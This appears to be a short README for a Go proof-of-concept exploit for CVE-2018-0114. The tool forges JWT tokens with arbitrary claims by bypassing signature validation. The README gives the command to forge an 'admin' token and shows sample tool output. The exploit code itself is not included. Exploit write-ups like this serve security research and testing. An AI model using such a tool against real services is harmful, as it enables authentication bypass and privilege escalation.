n0m-d/cve-2018-0114-goProof-of-concept exploit for CVE-2018-0114 that generates forged JWT tokens with arbitrary claims, demonstrating a signature validation bypass vulnerability.
Reference: CVE-2018-0114
Note: For educational purposes only.
To generate a JWT with the claim "admin", run the following command in the project directory:
go run . --claim=admin
____ __ __ ____ ___ __ _ __ __ _ _ __ __
/\ _`\ /\ \/\ \ /\ _`\ /'___`\ /'__`\ /' \ /'_ `\ /'__`\ /' \ /' \ /\ \\ \
\ \ \/\_\ \ \ \ \ \ \ \ \L\_\ /\_\ /\ \ /\ \/\ \ /\_, \ /\ \L\ \ /\ \/\ \ /\_, \ /\_, \ \ \ \\ \
\ \ \/_/_ \ \ \ \ \ \ \ _\L _______ \/_/// /__ \ \ \ \ \ \/_/\ \ \/_> _ <_ _______ \ \ \ \ \ \/_/\ \ \/_/\ \ \ \ \\ \_
\ \ \L\ \ \ \ \_/ \ \ \ \L\ \/\______\ // /_\ \ \ \ \_\ \ \ \ \ /\ \L\ \/\______\ \ \ \_\ \ \ \ \ \ \ \ \ \__ ,__\
\ \____/ \ `\___/ \ \____/\/______/ /\______/ \ \____/ \ \_\ \ \____/\/______/ \ \____/ \ \_\ \ \_\ \/_/\_\_/
\/___/ `\/__/ \/___/ \/_____/ \/___/ \/_/ \/___/ \/___/ \/_/ \/_/ \/_/
[x] Generating JWT with payload "admin" ...
[x] Keys Generated
[x] Signature Signed
eyJhbGciOiJSUzI1NiIsI.......